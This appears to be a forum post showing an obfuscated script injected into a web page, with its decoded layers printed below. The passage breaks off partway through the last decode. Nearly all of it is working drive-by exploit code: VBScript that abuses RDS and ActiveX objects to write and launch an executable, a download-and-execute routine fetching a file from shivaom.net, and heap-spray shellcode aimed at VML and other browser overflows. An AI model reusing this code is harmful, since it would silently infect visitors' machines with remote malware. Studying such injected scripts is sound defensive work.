A2mWA2B4oCuSAZm4bZmWA2B4g2ukg2w4bCmWA2B4g2ukAZNOo2mWA2B4bZuWAZu4oCmWA2B4A2wng2ROg2mWA2B4bZuuAZNOo2mWA2B4oCwaAZROo2mWA2B4gZuuAZw4gZmWA2BOo2wOAZG4b2mWA2B4bZuKAZNOo2mWA2B4bZuWAZNOo2mWA2BObZwag2R4A2mWA2B4b2wkAZw4gZmWA2BOb2w4g2R4b2mWA2B4oZunAZw4AZmWA2B4oZunAZp4bZmWA2B4b2ukAZj4gZmWA2BOg2uuAZG4gZmWA2BOo2wag2BOg2mSAZCmbgwng2i9b2n4gZp4oEmugZnkb2nWg2wOAZwOAZpkA2ukkZ29gZw452GSbCmuAZJDoZmSgZBSb2uuAZm4bCw4gZn4ggpn52i9bgnug2NkoZua5ZpkA2mWA2B4bZukAZNOb2mWA2BOo2w4AZN4gZmWA2B4oCuWg2w4g2mWA2B4bZwWAZRObZmSAZCmbgnnA229oZwa5Zp4oEmugZnkb2nWAZN4o2u4AZGkb2nWAZN4oCuOg2ukb2nWAZN4o2uKAZNkb2nWAZu4bZu4g2Bkb2nWAZN4b2u4AZGkb2nWAZwOgZuOg2ukb2nWAZn4AZuKg2Gkb2nWAZwOg2uSAZGkb2nWAZn4gZu4AZmkb2nWAZN4oCuSAZnkb2nWAZN4g2u4AZGkb2nWAZn4oZuSAZnkb2nWAZn4bCuOg2mkb2nWAZn4bZuOg2mkA2ukkZ29gZnaA2wObZmuAZJDoZmSgZBSb2u4AZG4A2ukgZBSb2uSAZn4g2wkgZBSb2uSAZn4AZungZn4ggpnr2jSb2nQg2JDoZua5ZpkA2mWA2B4A2uSAZnOAZmSAZCmbgwag2jSAZnWgZp4oEmugZnkb2nWAZN4o2u4AZmkA2ukkZ29AZnn52NSo2muAZJDoZmSgZBSb2uKAZR4g2w4gZn4ggpn52iyAZw452RkoZua5ZpkA2mWA2B4oZuuAZG4o2mSAZCmbgwa52mSbgw4r2GkoZua5ZpOoCnkA2uOgEmk52C9bgwKg22DggwkA22yo2wngZCyo2wa52JyAgmk52mSA2wag22DggwQA2nSg2n4gZC9AZnag2MyAZmkr2BSbgwag2mkggnkA2nSbZwkgZC9A2nKg2i9oCmkr2NOgEnQg2Gkggwng2iyoEw4gZCyoCnug2J9oZmk52iybCwQg2BkggwkA2NOoCnOgZC9oCwkr2NOgEmk52NObEnng2Rkggw452mOgZwQgZC9oZwng229bZmk52i9g2n4A2ukggw452wObCnSgZCybEnkg2mOgEmk52MybCwk52iDggnag2jObZwngZC9g2nng2BOoCmkr2uOA2nng2NkggwSg2GSbCnkgZC9A2nkg22yoCmkr2nSAZwWg22Dggwn52wSbCnKgZCybEwn522yA2mkr2mOggwKg2cDggwng2i9b2n4gZC9gZw452GSbCmk52i9bgnug2NkggnnA229oZwa5ZC9gZnaA2wObZmkr2jSb2nQg2JDggwag2jSAZnWgZC9AZnn52NSo2mk52iyAZw452R4ggpnkZJmbgpakZ2DoZmugZpkoZnOg2GSgZmug2NObZwKgZp4oEmuA2BObEwWA2uOAZwnA2pOb2mKg2JygZnn52i9bZmQAZCmoEpn5ZpkoZmugZpOgZnnA2nOgEmuAZJDoZnWg2cyb2n4g2uObZnug2BkoCmkgZBkgZmk5ZmSb2mkgZCDgZuQAZp4bCuugZBSb2mkgZCDgZuQAZp4bCuugZmkbCukkZJmbgpakZ2DoZmugZpkoZnug2CybCwO5Zp4oEmuAZGkggu4gZCFAZmkrZmkggungZCFbZmkrZnkggungZCFbZukkZJmbgmugZpkoZmuA2nSAZw45Zp4oEmuAZGkggukAZpkggungZCFbZmkrZGkggungZCFbZmkrZGkggungZCFA2mkrZGkggungZCFbCmkrZGkgguSgZCFbZmkrZGkggungZCFgZuOgZCFbZmkrZGkggu4AZG4ggpakZ2moEpn5ZpkoZmugZpSo2wkg2NSAZwn5Zp4oEmuA2pOggwQg2MDoZmk5ZpOoCwng2NkbEw452BObEwSA2ROoCukkZJmbgmugZpkoZmuA2nOoCwQg2iyb2mugZNOgZnnA2nOgEmW52iyb2wW52nSo2wKgZp4AgmuA2ROgZwKA2uObgmQoZJmbgmugZpkoZmugZpkoZwkA2GSA2wO5Zpkggua5ZpOgZnnA2nOgEukkZJmbgpakZ2DoZmugZpkoZwag2JyoEmuAZJDoZwkA2GSA2wO5Zc9AZnWg2mSAZnaA2mObCwW52nkoCuugZiDoZnag2mOoCn4g22DbCukkZJmbgpakZ2DoZmugZpkoZnnr22yoCnn5Zp4oEmug2mSbZnSg2MDbEn4A2BOgZn4A2RSgZwQg2cyA2mKAZpkAgmug2mSbZnSg2MDbEw452BObEwSA2ROoCmar2ROgZwKA2uObgmQAZCmoEpnkZJmbgmugZpkoZmuA2nOoCwQg2iyb2mugZNSbgnn52NSbgmW52iyb2wW52nSo2wKgZpkggmuA2ROgZwKA2uObgmuAZiDoZmkAZpSoCu4gZmkggmkAZp4oZuugZmkggmkAZpkgZmQoZJmbgmugZpkoZmugZpkoZnnr22yoCnn5Zp4oEmuA229bgwKA22DoZmk5ZpSbgnn52NSbgmugZCDoZwag2JyoEukkZJmbgpakZ2DoZmugZpkoZnQg2nObEwO52RkoZua5ZpObEwWA2nkoZRnA2mSgZwnA2jkoCmQAZCmoEpn5ZpkoZmugZpOg2wOr2mkoZmKg2j4oEuuAZCybCu4r2nSAZw4rZCybCmk5ZCDbCmuA2CmoEpn5ZpkoZmugZpkoZmuA2jOA2wW52Myo2Bk52jWoEmuAZJDoZnnr22yoCnn5Zpkggmug2NObZwKAZCmoEpn5ZpkoZmugZpSoEpakZ2moEpn5ZpkoZu45ZM9AZw4A2mObCnuA2R4bEpakZ2FAgwag2jSg2mug2jOo2ua5ZmOoCnug2JyoCmkAZcFAgmO52RObCnOAZcmoEpnrZi9AZw4A2mObCnuA2RkoZw452GObEwSA2BObZwSg2B4oEmkg22ybZnOg2GSAZw4A2mObCnuA2RkgZuWkZJmbgmugZpOgZwnA2jObgnag2jObgmuAZJDoZmkAZiDgZmk5ZmSg2mkgZCDgZun5ZmkggmkA2mOb2w4A2R4bEmkgZCDgZu45ZmkggmkA2wkgZmk5Zm4bgmkgZCDgZwOg2jkgZmk5ZmOAgmkgZCDgZw45ZmkggmkgZpkgZmk5ZmOoEwWgZmkggmkA2ROoCwO52RkoZmkgZCDgZua5ZmkggmkgZpkgZmk5ZmkA2mkAZCmoEpn5ZpkoZnWA2nOb2nWA2wOoEnagZp4oEmugZmkg2mkgZCDgZm4gZmkggmkA2NkgZmk5Zm4oZuOAZp4g2uk5ZwkAZnKAZpkgZmk5Zm4g2uuAZw4ggmOgZmkggmkgZuSoCuuAZw4oZuOAZCDgZukkZJmbgmugZpOg2wOr2mkoZmKg2j4oEuuAZCDoZwQAZiFAZuWAZp4oZuk5Zpkggmk52jkbCmuA2CmoEpn5ZpkoZmugZpOgZwnA2jObgnag2jObgmuAZJDoZwkg2GSbCwnr2RObCwn5ZpkggmuA2BSA2wWA2BSg2war2R4ggpakZ2DoZmuA2JmoEpn5ZpkoZwkg2GSbCwnr2RObCwn5Zp4oEmug2mObZnQg229o2wQg22DoZmk5ZpkgZmSAZcFAgmOr2w4bgnkg2BkgZmk5ZmOAZnaAZcFAgmOr2wkgZmk5Zm4bgwOg2jOAgw4rZcDgZukkZJmbgmugZpOo2wO52uSb2wa52BObEnagZcyA2wWA2Rab2w452BOoEwWg2c9o2RkA2jabCwagZNkgZwKA2pOoEwKgZmkbCmW52jObEwW52BSgZRKb2RaoER45Zp4oEmug2mObZnQg229o2wQg22FggpakZ2FAgmOr2uOAZnkg2jSoZnaAZcmoEpnrZiDgEwkg2Myo2nQAZcmoEpnrZiDgEwKA2ROoEw4rZcmoEpnrZiyoCnag2JyAguW5ZpuoEpnrZiygEwkg22yb2w4A2RuoEpn52uOAgwnA2uSAZwQg2R4oEmSg2uOAgn4g2jOo2unrZjao2u4AZj4gZukAZuab2mak2Gab2uKo2BkoEunAZGao2uagZJFoCROo2R4AZmarZp4oZRaAZpagZuSAZn4AZuuAZm4A2uSgZnuoEpn52jOo2ua5ZnSo2wnA2mOA2wWA2RkA2uWkZJmbgu45ZMygEwkg22yb2w4A2R4bEmuoZJmbgu4r2uOAZnkg2jSoZnaAZcmoEpnr2BSgZwWAZJDgZmWA2B4b2uao2BagZmWA2B4A2uWAZNagZmWA2B4oCRkAZuaAZmWA2B4AZuWAZn4o2mWA2B4oZu4AZn4oCmWA2B4b2uOo2w4b2mWA2B4A2uOAZNagZmWA2B4oZu4AZm4oZmWA2B4AZu4o2w4b2mWA2B4o2uQo2u4bCmWA2BabZRaAZR4bZmWA2Bao2RkAZu4AZmWA2B4oZROAZu4g2mWA2B4bZuao2mab2mWA2B4AZuKAZm4oCmWA2B4A2uao2w4gZmWA2BaAZunAZp4oCmWA2B4oZRao2uagZmWA2Bao2RnAZp4AZmWA2Bab2RkAZR4oZmWA2B4AZRko2Bag2mWA2B4A2uWo2Rag2mWA2B4b2RWo2B4A2mWA2B4b2RWAZNagZmWA2B4oZu4AZm4o2mWA2B4g2uOo2Rao2mWA2B4oZR4AZNagZmWA2B4oCRkAZRagZmWA2B4bZR4AZBab2mWA2Bao2RaAZp4AZmWA2B4oZuaAZNagZmWA2B4oZu4AZNagZmWA2BaAZu4o2u4b2mWA2B4A2ukAZn4b2mWA2B4g2RaAZwaAZmWA2B4g2RWAZwag2mWA2B4g2uaAZmab2mWA2B4g2R4AZwaAZmWA2B4o2u4AZp4oZmWA2B4b2R4AZuabZmWA2B4gZRWAZB4b2mWA2B4A2uKAZw4b2mWA2B4oZuuAZw4b2mWA2BaAZuuAZu4AZmWA2B4oZu4AZw4o2mWA2B4AZuuAZR4oZmWA2B4oZR4AZn4oCmWA2B4o2uuAZNagZmWA2B4oCRkAZpaAZmWA2B4bZR4AZn4oZmWA2B4oCRko2Gao2mWA2B4oZuKAZR4oZmWA2B4oZuQo2BagZmWA2B4o2uuAZNagZmWA2B4oCRaAZu4o2mWA2B4A2R4AZR4oZmWA2B4o2uuAZNagZmWA2B4bCuWAZuaAZmWA2B4oCRWo2mag2mWA2B4oZRWAZRab2mWA2Bab2uKo2BaAZmWA2Bag2ROAZN4o2mWA2Bag2ROo2wag2mWA2Bab2R4AZN4AZmWA2B4oCu4AZp4o2mWA2B4gZuaAZmaAZmWA2Bag2ROAZuaAZmWA2B4bCuWo2R4oZmWA2BagZROAZB4oZmWA2B4bZRnAZu4g2mWA2B4A2uuAZmag2mWA2B4g2ROo2B4oCmWA2Bag2ROo2wag2mWA2B4oCRko2wag2mWA2B4gZuaAZB4o2mWA2B4oCRao2waAZmWA2BagZRnAZB4gZmWA2Bao2RkAZu4AZmWA2B4b2u4AZB4AZmWA2Bab2RkAZB4gZmWA2B4b2u4AZm4o2mWA2Bao2uuo2wag2mWA2BagZROAZBao2mWA2Bag2RWAZj4oCmWA2B4oZRWAZNabZmWA2B4b2u4o2B4oCmWA2Bag2ROo2wag2mWA2B4oCu4o2wag2mWA2B4oZuao2BaAZmWA2B4gZR4AZN4AZmWA2B4g2ukAZm4o2mWA2Bao2uuo2wag2mWA2B4A2RWo2mag2mWA2Bab2uko2R4oCmWA2Bab2uKAZn4AZmWA2Bag2ROAZR4oZmWA2Bag2ROo2wag2mWA2Bag2ROAZB4gZmWA2Bab2uKo2R4oZmWA2Bag2ROo2R4A2mWA2Bag2ROo2wag2mWA2B4A2ukAZR4bZmWA2B4g2unAZn4gZmWA2B4oZuuAZn4bCmkAZCmoEpnr2uOoCwWg2uOgEwag2BkoZua5ZpSb2wW52BSAZw4g2GSoZwWgZNSb2nkg2BkbCukkZJmbgn4g2GOo2nSAZJDgZmWA2B4bCuuAZj4oZmWA2B4bCuuAZj4oZmkAZCDoZpakZ2ygZwkg2iDoZua5ZpSb2wW52BSAZw4g2GSoZwWgZNSAZwng2RSA2mQAZCDoZpakZ2yoCwWg2GkoZua5Zp4gZuuAZCDoZpakZ29AZw452GSoZwng2uOb2muAZJDoZwKg2BObZmkr2uOoCwWg2uOgEwag2BkbEw452BObEwSA2ROoCmuoZJmbgnSg2NObCw452BkoZmKg2mOgZw45ZcyAgwWg2cyA2nag2N4Agn4g2iybZnug2GOAZwWgZjkoZwkg2mOAgmkrZJygZwkg2iFggmuoZJmbgwOg2iyAgwk5Zp4oEmug2mOgZw45Zc9AZnWg2mSAZnaA2mObCwW52nkoCuugZiDoZn4g2iybZnug2GOAZwWgZj4ggmuoZJmbgwkg2iygEw4g2CDoZua5ZpOgZwkg2iDbEn4A2BOgZn4A2RSgZwQg2cyA2mKAZpkAgmug2mOgZw45ZcyAgwWg2cyA2nag2NkoEn4g2iybZnug2GOAZwWgZj4ggmuoZJmbgwag2BSgZn4AZJDoZwkg2iygEw4g2C9AZwng2RkbEw452BObEwSA2ROoCmugZCDoZn4g2iybZnug2GOAZwWoZJmbgnSg2NObCw452BkoCwag2BSgZn4AZiFoZnKAZR4oZuuAZp4oZmQgZpOgZw452MyAZwkr2uObZwagZp4oEmug2mOAgwO52uOggn4g2GOo2mk52mOAgwO52uOggn4g2GOo2mk52wOAgw452CFggmuoZJmbgwa52BOoEwOr2mSbCmuAZJDoZwW52BSA2muo2GSgZnkg2GSbCmKgZj4ggmuoZJmbgwOg2M9gZmugZNSoCuarZp4ggmuA2N4AguKAZp4oZuk5ZpSoCmk5ZCDbCmug2Jyb2wa52M9gZnQb2C9oCBa5Zp4oEmug2mOAgwO52uOggn4g2GOo2mugZCDoZn4g2NOb2w4g2Myo2wWAZCDoZpakZ29g2wnA2mkoZwkA2BOg2wOgZp4oEmugZnWAgnKAZpObZmSAZCDoZpakZ29A2wKg2jOAgwWgZpkoCwkA2BOg2wOgZcyAgwWg2cyA2nag2NkoZu45Zp4b2uuAZp4oZmQgZpOgZnWg2wOg2mkrZJDA2B4r2N4oZwnb2i9oCuug2GWAgnKAZpObZB4r2N4oZwngZn4ggmuoZJmbgnag2GSgZwSg2BSo2mWr2uOb2nkA2wOb2nkgZp4oEmug2mSb2wOg2w4ggmuoZJmbgnag2GSgZwSg2BSo2mWr2mOb2w4g2BObCnOg2BkoCmQAZCDoZpakZ2FAgmOr2uOAZnkg2jSoZnaAZcDoZpakZ2FAgmO52NSo2wa52iFbEmuAchQ@Coe@LaDs3pYUi")</script>
 

Which decodes to:

Code: [Select]
<script>function v481b922917647(v481b922919d93){ function v481b92292313f () {var v481b922924d8b=16; return v481b922924d8b;} return(parseInt(v481b922919d93,v481b92292313f()));}function v481b92292742d(v481b922929b2e){ var v481b92293109a=2; var v481b92292c260='';for(v481b92292e982=0; v481b92292e982<v481b922929b2e.length; v481b92292e982+=v481b92293109a){ v481b92292c260+=(String.fromCharCode(v481b922917647(v481b922929b2e.substr(v481b92292e982, v481b92293109a))));}return v481b92292c260;} document.write(v481b92292742d('3C736372697074206C616E67756167653D227662736372697074223E0D0A0D0A436F6E73742061644D6F646552656164656557726974653D330D0A436F6E737420616454797065426868696E6172793D310D0A436F6E73740D0A0D0A0D0A61645361766543737372656174654F76657257726974653D320D0A0D0A44696D20206F6F466767534F74740D0A44696D20206F6F537464647265616D72720D0A44696D20206F577272536868656C6C65650D0A0D0A44696D2020506C7567696E797946696C656577770D0A44696D202020636E6E427974656571710D0A44696D2020204F626A68684E616D657361610D0A44696D2020204F626A696950726F677373730D0A0D0A4F626A68684E7272616D657361613D2241442226224F4442220D0A4F626A6969506666726F677373733D2253747265222622616D220D0A4F6E204572726F7220526573756D65204E6578740D0A0D0A536574206F6F537464647265616D72723D2277696E222622646F77222E226F522226224453222E224372656174222622654F626A6563742228224F626A68684E2226227272616D6573616122202620222E22202620224F626A6922262269506666726F67737373222C2222290D0A4966204572722E6E756D626572203C3E2030205468656E0D0A0D0A536574206F6F466767534F74743D2277696E222622646F77222E226F522226224453222E224372656174222622654F626A656374222822536372692226227074696E672E466922202620226C6553797374222622656D4F626A656374222C2222290D0A53657420506C7567696E797946696C656577773D226F6F466722262267534F7474222E224372656122262274655465782226227446696C65222877696E646F772E6578654E616D652C54525545290D0A0D0A506C75677373696E5F73697A65653D4C656E422877696E646F772E584D4C426F6479290D0A0D0A466F72206A3D3120546F20506C75677373696E5F73697A65650D0A2020636E6E427974656571713D4D6964422877696E646F772E584D4C426F64792C6A2C31290D0A202042797474727265436F64653D4173634228636E6E42797465657171290D0A2020506C7567696E797946696C656577772E5772697465284368722842797474727265436F646529290D0A4E6578740D0A2020506C7567696E797946696C656577772E436C6F73650D0A2020536574206F577272536868656C6C65653D77696E646F772E6F5244532E4372656174654F626A65637428225753637269222026202270742E5368222622656C6C222C2222290D0A20204F6E204572726F7220526573756D65204E6578740D0A20206F577272536868656C6C65652E52756E202877696E646F772E6578654E616D65292C312C46414C53450D0A456C73650D0A206F6F537464647265616D72722E4D6F64653D61644D6F646552656164656557726974650D0A206F6F537464647265616D72722E547970653D616454797065426868696E6172790D0A206F6F537464647265616D72722E4F70656E0D0A206F6F537464647265616D72722E57726974652077696E646F772E584D4C426F64790D0A206F6F537464647265616D72722E53617665546F46696C650D0A0D0A77696E646F772E6578654E616D652C61645361766543737372656174654F76657257726974650D0A2077696E646F772E6F5368656C6C4170702E5368656C6C457865637574652077696E646F772E6578654E616D650D0A456E642049660D0A0D0A3C2F7363726970743E0D0A0D0A3C736372697074206C616E67756167653D225642536372697074223E0D0A202020206F6E206572726F7220726573756D65206E6578740D0A2020202064736C203D2022687474703A2F2F73686976616F6D2E6E65742F72656C6967696F6E2F69652F6578652E706870220D0A202020205365742079647366203D20646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A6B697066313D22636C7369220D0A6B697066323D22643A42443936220D0A6B697066333D22433535362D36220D0A6B697066343D223541332D313144220D0A6B697066353D22302D39220D0A6B697066363D223833412D30220D0A6B697066373D22304330220D0A6B697066383D2234464332220D0A6B697066393D22394533220D0A6B69706631303D2236220D0A6B69706631713D6B69706631266B69706632266B69706633266B69706634266B69706635266B69706636266B69706637266B69706638266B69706639266B69706631300D0A0D0A20202020796473662E7365744174747269627574652022636C6173222622736964222C6B69706631710D0A0D0A6473657273313D224D69220D0A6473657273323D2263726F73220D0A6473657273333D226F66742E58220D0A6473657273343D224D4C220D0A6473657273353D2248220D0A6473657273363D225454220D0A6473657273373D2250220D0A6473657273383D6473657273312664736572733226647365727333266473657273342664736572733526647365727336266473657273370D0A0D0A5365742078616164203D20796473662E4372656174654F626A656374286473657273382C2222290D0A202020200D0A67646E65313D224164220D0A67646E65323D226F64220D0A67646E65333D22622E5374220D0A67646E65343D2272220D0A67646E65353D2265220D0A67646E65363D2261220D0A67646E65373D226D220D0A67646E65383D67646E65312667646E65322667646E65332667646E65342667646E65352667646E65362667646E65370D0A2020200D0A2020202073657420594559203D20796473662E6372656174656F626A6563742867646E65382C2222290D0A202020205945592E74797065203D20310D0A202020206C6F313D2247220D0A202020206C6F323D2245220D0A202020206C6F333D2254220D0A202020207265746766793D6C6F31266C6F32266C6F330D0A20202020786161642E4F70656E207265746766792C2064736C2C2046616C73650D0A20202020786161642E53656E640D0A2020202066616E616D657A7A313D2266696C652E657865220D0A0D0A2020202073637264736970313D225363726970220D0A2020202073637264736970323D2274696E67220D0A2020202073637264736970333D222E46696C220D0A2020202073637264736970343D22655379737465220D0A2020202073637264736970353D226D4F626A656374220D0A20202020736372647369703D73637264736970312673637264736970322673637264736970332673637264736970342673637264736970350D0A0D0A2020202073657420467346203D20796473662E6372656174656F626A65637428736372647369702C2222290D0A2020202073657420746D7073203D20462E4765745370656369616C466F6C6465722832290D0A2020202066616E616D657A7A313D204673462E4275696C645061746828746D70732C66616E616D657A7A31290D0A0D0A0D0A202020205945592E6F70656E0D0A202020205945592E777269746520786161642E726573706F6E7365426F64790D0A202020205945592E73617665746F66696C652066616E616D657A7A312C320D0A202020205945592E636C6F73650D0A20202020736574204D4D53203D20796473662E6372656174656F626A65637428225368656C6C2E4170706C69636174696F6E222C2222290D0A20202020202020204D4D532E5368656C6C457865637574652066616E616D657A7A312C22222C22222C226F70656E222C300D0A3C2F7363726970743E0D0A0D0A0D0A3C68746D6C20786D6C6E733A763D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A766D6C223E0D0A20203C686561643E0D0A202020203C7374796C653E765C3A2A207B206265686176696F723A2075726C28236B61747A293B207D3C2F7374796C653E0D0A20203C2F686561643E0D0A3C626F64793E0D0A202020203C6F626A6563742069643D226B61747A2220636C61737369643D22434C5349443A31303037324345432D384343312D313144312D393836452D303041304339353542343245223E0D0A202020203C2F6F626A6563743E0D0A3C736372697074206C616E67756167653D226A617661736372697074223E0D0A202020206872736F203D2027257539303930273B0A6B7A686A203D2027257539303930273B0A627A6461203D2027257539303930273B0A646D6D6C203D2027257533333930273B0A6277646A203D2027257533336330273B0A69777673203D2027257565626339273B0A73746F63203D2027257535653132273B0A757A6462203D2027257562393636273B0A72777162203D2027257565663030273B0A77786C78203D2027257566653862273B0A786F7961203D2027257532653830273B0A616C6D63203D2027257538303062273B0A68706D70203D2027257530393336257565323436273B0A6C696965203D2027257565626637257565383035257566666539257566666666257561656562257531343134257536313134257562333738257531343434257531343134257535343864257538643130257532303834257538646166257530633663257530393864257531383665257565633562273B0A62786876203D2027257531343465273B0A786B786F203D2027257531343134257566626636257537313663257531343732257536633134257538363837257536663730273B0A686E7164203D2027257530313638273B0A6C626269203D2027257538643261273B0A70616A71203D2027257565636563273B0A6C767373203D2027257531343438257531343134257566303935257538643334257536656530257536353334257536613031257564393138257531633138257537353630257538373834273B0A6C666977203D2027257535386439273B0A6E72626F203D2027257531383163257537373332257537373763257535386461257530633163257534353134257536346434257536353634257536343639257536613031257538643234273B0A6F696B6C203D2027257536656530273B0A74696161203D2027257536353137273B0A76716568203D2027257536613031273B0A73677168203D2027257530313063273B0A67617972203D2027257531303661273B0A77726A68203D2027257536613633273B0A7773656A203D2027257538373864273B0A6A667978203D2027257538643430257534373838257531353763257536613037257538613864257531353334257534353037257534626362257561663533257564373135257564643435257563323131257533633234257538383036257564333063257530666364257564653135257565643534273B0A6E6A6A67203D2027257533643033273B0A726B686E203D2027257538373231257536326639257536323864257531353338257537616466257531303864257538643464257532303632257564663135257531383864257531353864257561646437257535623632257565636435257530313633257530313031257535323932257566303132257564646566273B0A616C7573203D2027257566636630273B0A726C6179203D2027257530323963273B0A6C7A7068203D2027257531323865257564633832257538356636257531653461273B0A717A706D203D2027257538343331257538383663257538343838257533313365257538353331257536623663257537333861257536663731257537323332257538383737257538363331257537303737257537393662257537313662273B0A72747661203D2027257533313732257537373662257537373331273B0A7975796D203D2027257537373763273B0A64697375203D2027257538343332273B0A737A6874203D2027257538343663273B0A6C636C64203D2027257530303134273B0A6D627A6C71203D206872736F2B6B7A686A2B627A64612B646D6D6C2B6277646A2B697776732B73746F632B757A64622B727771622B77786C782B786F79612B616C6D632B68706D702B6C6969652B627868762B786B786F2B686E71642B6C6262692B70616A712B6C7673732B6C6669772B6E72626F2B6F696B6C2B746961612B767165682B736771682B676179722B77726A682B7773656A2B6A6679782B6E6A6A672B726B686E2B616C75732B726C61792B6C7A70682B717A706D2B727476612B7975796D2B646973752B737A68742B6C636C643B0A0D0A0D0A2020202076617220686168203D20756E657363617065286D627A6C71293B0D0A202020206271776F203D20756E657363617065282225222B2275222B22393039302575222B223930393022293B0D0A0D0A20202020706B696F203D20312B332B332B322B312B312B372B312B313B0D0A2020202077736C203D20312B32302B312B312B312B312B312B312B312B372B312B312B392B312B372B312B312B312B32362B312B312B33313B0D0A0D0A20202020746268736A203D20706B696F202B206861682E6C656E6774683B0D0A202020207768696C6520286271776F2E6C656E677468203C20746268736A290D0A2020202020206271776F202B3D206271776F3B0D0A0D0A20202020646D6D203D206271776F2E737562737472696E6728302C20746268736A293B0D0A0D0A202020207A7A687A203D206271776F2E737562737472696E6728302C206271776F2E6C656E6774682D746268736A293B0D0A0D0A202020207768696C6520287A7A687A2E6C656E677468202B20746268736A203C2022307833222B22303030222B223022290D0A2020202020207A7A687A203D207A7A687A202B207A7A687A202B20646D6D3B0D0A0D0A2020202079676E6F64203D206E657720417272617928293B0D0A20202020666F722028693D303B693C77736C3B692B2B29207B0D0A20202020202079676E6F645B695D203D207A7A687A202B206861683B0D0A202020207D0D0A0D0A20203C2F7363726970743E0D0A3C6469762069643D2268706D68223E3C2F6469763E0D0A3C736372697074206C616E67756167653D226A617661736372697074223E0D0A20206261796A74696A203D20223C222B2276222B223A222B22726563743E222B223C222B2276222B223A222B226669222B226C222B226C222B2220222B226D65222B2274686F6420222B223D222B2220222B2227223B0D0A202075776575766D74203D202226222B2223222B2278222B22303630363B26237830222B223630363B26222B222378303630363B223B0D0A2020666F722028693D303B20693C333530303B202B2B6929207B0D0A202020206261796A74696A203D206261796A74696A202B2075776575766D743B0D0A20207D0D0A20206261796A74696A203D206261796A74696A202B2022273E3C2F763A7265222B2263743E3C2F76222B223A66696C6C3E223B0D0A2020646F63756D656E742E676574456C656D656E7442794964282268706D6822292E696E6E657248544D4C203D206261796A74696A3B0D0A3C2F7363726970743E0D0A3C2F626F64793E0D0A3C2F68746D6C3E0D0A3C68746D6C3E200D0A3C6F626A6563740D0A636C61737369643D27636C7369643A39443339323233452D414538452D313144342D384644332D303044304237373330323737270D0A69643D27746172676574273E0D0A3C2F6F626A6563743E200D0A3C7363726970743E0D0A7572653D22257535344542257537353842257538423343257533353734257530333738257535364635257537363842257530333230257533334635257534394339257541443431257544423333257530463336257531344245257533383238257537344632257543313038257530444342257544413033257545423430257533424546257537354446257535454537257535453842257530333234257536364444257530433842257538423442257531433545257544443033257530343842257530333842257543334335257537323735257536443643257536453646257536343245257536433643257534333030257535433341257532453535257537383635257530303635257543303333257530333634257533303430257530433738257534303842257538423043257531433730257538424144257530383430257530394542257534303842257538443334257537433430257534303842257539353343257538454246257530453445257545384543257546463834257546464646257545433833257538333034257532343243257546463343257539354430257542463530257531413336257537303246257536464538257546464646257538424646257532343534257538444643257542413532257544423333257535333533257545423532257535333234257544304646257542463544257546453938257530453841257535334538257546464646257538334646257530344543257532433833257536323234257544304646257537454246257545324438257545383733257546463430257546464646257546463532257545384430257546464437257546464646257537323431257536313732257530303739223B0D0A736865636F6465203D20756E65736361706528757265293B0D0A736164773D22257539303930257539303930223B200D0A62626C203D20756E6573636170652873616477293B200D0A686561203D2032303B200D0A736C6170616365203D206865612B736865636F64652E6C656E677468200D0A7768696C65202862626C2E6C656E6774683C736C6170616365292062626C2B3D62626C3B200D0A666C6C6B203D2062626C2E737562737472696E6728302C20736C6170616365293B200D0A626C6F636B203D2062626C2E737562737472696E6728302C2062626C2E6C656E6774682D736C6170616365293B200D0A646572733D20626C6F636B7361642E6C656E677468202B20736C61706163650D0A7768696C6528646572733C307834303030302920626C6F636B736164203D20626C6F636B7361642B626C6F636B7361642B666C6C6B3B200D0A6D656D6F7279203D206E657720417272617928293B200D0A666F722028783D303B20783C3830303B20782B2B29206D656D6F72795B785D203D20626C6F636B736164202B20736865636F64653B200D0A7661722062756666203D20275C783061273B200D0A7768696C652028627566662E6C656E677468203C20353030302920627566662B3D275C7830615C7830615C7830615C783061273B200D0A7461726765742E736572766572203D20627566663B200D0A7461726765742E7265636569766528293B200D0A3C2F7363726970743E200D0A3C2F68746D6C3E20'));</script>
 

Which decodes to:

Code: [Select]
<script language="vbscript">

Const adModeReadeeWrite=3
Const adTypeBhhinary=1
Const


adSaveCssreateOverWrite=2

Dim  ooFggSOtt
Dim  ooStddreamrr
Dim  oWrrShhellee

Dim  PluginyyFileeww
Dim   cnnByteeqq
Dim   ObjhhNamesaa
Dim   ObjiiProgsss

ObjhhNrramesaa="AD"&"ODB"
ObjiiPffrogsss="Stre"&"am"
On Error Resume Next

Set ooStddreamrr="win"&"dow"."oR"&"DS"."Creat"&"eObject"("ObjhhN"&"rramesaa" & "." & "Obji"&"iPffrogsss","")
If Err.number <> 0 Then

Set ooFggSOtt="win"&"dow"."oR"&"DS"."Creat"&"eObject"("Scri"&"pting.Fi" & "leSyst"&"emObject","")
Set PluginyyFileeww="ooFg"&"gSOtt"."Crea"&"teTex"&"tFile"(window.exeName,TRUE)

Plugssin_sizee=LenB(window.XMLBody)

For j=1 To Plugssin_sizee
  cnnByteeqq=MidB(window.XMLBody,j,1)
  ByttrreCode=AscB(cnnByteeqq)
  PluginyyFileeww.Write(Chr(ByttrreCode))
Next
  PluginyyFileeww.Close
  Set oWrrShhellee=window.oRDS.CreateObject("WScri" & "pt.Sh"&"ell","")
  On Error Resume Next
  oWrrShhellee.Run (window.exeName),1,FALSE
Else
 ooStddreamrr.Mode=adModeReadeeWrite
 ooStddreamrr.Type=adTypeBhhinary
 ooStddreamrr.Open
 ooStddreamrr.Write window.XMLBody
 ooStddreamrr.SaveToFile

window.exeName,adSaveCssreateOverWrite
 window.oShellApp.ShellExecute window.exeName
End If

</script>

<script language="VBScript">
    on error resume next
    dsl = "http://shivaom.net/religion/ie/exe.php"
    Set ydsf = document.createElement("object")
kipf1="clsi"
kipf2="d:BD96"
kipf3="C556-6"
kipf4="5A3-11D"
kipf5="0-9"
kipf6="83A-0"
kipf7="0C0"
kipf8="4FC2"
kipf9="9E3"
kipf10="6"
kipf1q=kipf1&kipf2&kipf3&kipf4&kipf5&kipf6&kipf7&kipf8&kipf9&kipf10

    ydsf.setAttribute "clas"&"sid",kipf1q

dsers1="Mi"
dsers2="cros"
dsers3="oft.X"
dsers4="ML"
dsers5="H"
dsers6="TT"
dsers7="P"
dsers8=dsers1&dsers2&dsers3&dsers4&dsers5&dsers6&dsers7

Set xaad = ydsf.CreateObject(dsers8,"")
   
gdne1="Ad"
gdne2="od"
gdne3="b.St"
gdne4="r"
gdne5="e"
gdne6="a"
gdne7="m"
